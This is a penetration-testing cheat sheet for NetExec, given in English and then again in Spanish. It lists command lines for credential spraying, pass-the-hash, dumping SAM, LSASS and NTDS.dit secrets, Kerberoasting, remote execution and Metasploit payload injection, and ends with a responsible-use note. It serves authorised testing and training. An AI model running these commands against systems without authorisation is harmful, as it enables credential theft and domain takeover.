NetExec (the active successor to CrackMapExec, which keeps the nxc binary) is a post-exploitation tool for pentesting Windows and Active Directory networks. From a single line it validates credentials, enumerates shares and users, and executes commands over protocols such as SMB, WinRM, SSH and LDAP. It is one of the tools that saves the most time when moving laterally across a domain.
NetExec's real power lies in operating at scale: it accepts CIDR ranges and lists of users/passwords or hashes, and flags each attempt as [+] (valid) or (Pwn3d!) when the credential holds administrative privileges. Understanding that distinction is key, because a hit does not guarantee you can run commands or dump credentials: for --sam, --ntds or pass-the-hash with execution you need local or domain administrator privileges over the target.
1. Beginner level — enumeration and credential validation
Command
What it does
nxc smb <t>
Checks whether the SMB host responds and its version
nxc smb <rango>/24
Scans an entire subnet looking for SMB hosts
nxc smb <t> -u user -p pass
Tests a single credential against SMB
nxc smb <t> -u user -p pass --local-auth
Authenticates as a local user, not a domain one
nxc smb <t> -u <users> -p <pass>
Tests several username/password combinations
nxc smb <t> -u user -p pass --shares
Enumerates the accessible shares
nxc smb <t> -u user -p pass --users
Enumerates the domain users
nxc smb <t> -u user -p pass --groups
Enumerates the domain groups
nxc smb <t> -u user -p pass --pass-pol
Enumerates the password policy
nxc winrm <t> -u user -p pass
Checks access via WinRM
nxc ssh <t> -u user -p pass
Checks access via SSH
nxc smb <t> -u user -p pass --sam
Dumps the local SAM database
nxc smb <t> -u user -H <hash>
Authenticates with an NTLM hash (pass-the-hash)
nxc ldap <t> -u user -p pass
Checks access via LDAP
2. Advanced level — execution, dumps and roasting
Command
What it does
nxc smb <t> -u user -p pass -x "whoami"
Runs a remote command (cmd)
nxc smb <t> -u user -p pass -X "whoami"
Runs a command via PowerShell
nxc smb <t> -u user -p pass -M spider_plus
Crawls and downloads files from shares
nxc smb <t> -u user -p pass -M lsassy
Dumps credentials from LSASS
nxc smb <t> -u user -p pass --ntds
Dumps the NTDS.dit database
nxc smb <t> -u user -p pass --kerberoasting out.txt
Performs a Kerberoasting attack
nxc smb <t> -u user -p pass --asreproast out.txt
Performs an AS-REP Roasting attack
nxc smb <t> -u user -p pass --sessions
Enumerates active sessions on the host
nxc smb <t> -u user -p pass --loggedon-users
Shows users with a logged-on session
nxc smb <t> -u user -p pass -M met_inject
Injects a Metasploit payload
nxc smb <t> -d dominio -u user -p pass
Specifies the authentication domain
nxc smb <t> -u user -p pass --continue-on-success
Keeps testing credentials after a hit
nxc ldap <t> -u user -p pass -M get-desc-users
Searches for passwords in LDAP descriptions
nxc smb <t> -u user -p pass -M enum_av
Enumerates the installed antivirus
3. Details people miss
The binary is nxc, not crackmapexec: NetExec is the fork maintained after CME was abandoned, so ignore old cheatsheets that use the legacy binary.
To authenticate against non-domain machines (or local accounts) you need --local-auth; without it, NetExec attempts domain authentication and will fail.
The (Pwn3d!) marker signals administrative privileges: without it, options like --sam, --ntds or execution with -x/-X will not work even if the credential is valid.
--ntds must be run against a Domain Controller with a domain-admin account; against a regular host there is no NTDS.dit database to dump.
Modules like lsassy or met_inject touch the LSASS process memory or inject payloads: they are noisy and often trip the EDR/antivirus, so pair them with enum_av before firing.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
NetExec (el sucesor activo de CrackMapExec, que conserva el binario nxc) es una herramienta de post-explotación para pentesting de redes Windows y Active Directory. Desde una sola línea valida credenciales, enumera shares y usuarios, y ejecuta comandos sobre protocolos como SMB, WinRM, SSH y LDAP. Es una de las herramientas que más tiempo ahorra al moverse lateralmente por un dominio.
La potencia real de NetExec está en operar a escala: acepta rangos CIDR y listas de usuarios/contraseñas o hashes, y marca cada intento como [+] (válido) o (Pwn3d!) cuando la credencial tiene privilegios administrativos. Entender esa distinción es clave, porque un acierto no garantiza que puedas ejecutar comandos o volcar credenciales: para --sam, --ntds o pass-the-hash con ejecución necesitas privilegios de administrador local o de dominio sobre el objetivo.
1. Nivel principiante — enumeración y validación de credenciales
Comando
Qué hace
nxc smb <t>
Comprueba si el host SMB responde y su versión
nxc smb <rango>/24
Escanea toda una subred en busca de hosts SMB
nxc smb <t> -u user -p pass
Prueba una credencial contra SMB
nxc smb <t> -u user -p pass --local-auth
Autentica como usuario local, no de dominio
nxc smb <t> -u <users> -p <pass>
Prueba varias combinaciones usuario/contraseña
nxc smb <t> -u user -p pass --shares
Enumera los recursos compartidos accesibles
nxc smb <t> -u user -p pass --users
Enumera los usuarios del dominio
nxc smb <t> -u user -p pass --groups
Enumera los grupos del dominio
nxc smb <t> -u user -p pass --pass-pol
Enumera la política de contraseñas
nxc winrm <t> -u user -p pass
Comprueba acceso vía WinRM
nxc ssh <t> -u user -p pass
Comprueba acceso vía SSH
nxc smb <t> -u user -p pass --sam
Vuelca la base SAM local
nxc smb <t> -u user -H <hash>
Autentica con hash NTLM (pass-the-hash)
nxc ldap <t> -u user -p pass
Comprueba acceso vía LDAP
2. Nivel avanzado — ejecución, dumps y roasting
Comando
Qué hace
nxc smb <t> -u user -p pass -x "whoami"
Ejecuta un comando remoto (cmd)
nxc smb <t> -u user -p pass -X "whoami"
Ejecuta un comando vía PowerShell
nxc smb <t> -u user -p pass -M spider_plus
Rastrea y descarga archivos de shares
nxc smb <t> -u user -p pass -M lsassy
Vuelca credenciales desde LSASS
nxc smb <t> -u user -p pass --ntds
Vuelca la base de datos NTDS.dit
nxc smb <t> -u user -p pass --kerberoasting out.txt
Realiza un ataque Kerberoasting
nxc smb <t> -u user -p pass --asreproast out.txt
Realiza un ataque AS-REP Roasting
nxc smb <t> -u user -p pass --sessions
Enumera sesiones activas en el host
nxc smb <t> -u user -p pass --loggedon-users
Muestra usuarios con sesión iniciada
nxc smb <t> -u user -p pass -M met_inject
Inyecta un payload de Metasploit
nxc smb <t> -d dominio -u user -p pass
Especifica el dominio de autenticación
nxc smb <t> -u user -p pass --continue-on-success
Continúa probando credenciales tras un acierto
nxc ldap <t> -u user -p pass -M get-desc-users
Busca contraseñas en descripciones LDAP
nxc smb <t> -u user -p pass -M enum_av
Enumera el antivirus instalado
3. Detalles que se pasan por alto
El binario es nxc, no crackmapexec: NetExec es el fork mantenido tras el abandono de CME, así que ignora los cheatsheets antiguos que usan el binario viejo.
Para autenticar contra máquinas fuera de dominio (o cuentas locales) necesitas --local-auth; sin él, NetExec intenta autenticación de dominio y fallará.
El marcador (Pwn3d!) indica privilegios administrativos: sin él, opciones como --sam, --ntds o la ejecución con -x/-X no funcionarán aunque la credencial sea válida.
--ntds requiere ejecutarse contra un Domain Controller con una cuenta con privilegios de administrador de dominio; contra un host normal no hay base NTDS.dit que volcar.
Módulos como lsassy o met_inject tocan memoria del proceso LSASS o inyectan payloads: son ruidosos y suelen disparar el EDR/antivirus, así que combínalos con enum_av antes de lanzarlos.
Uso responsable
Estos comandos son para entornos propios o con autorización explícita por escrito (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.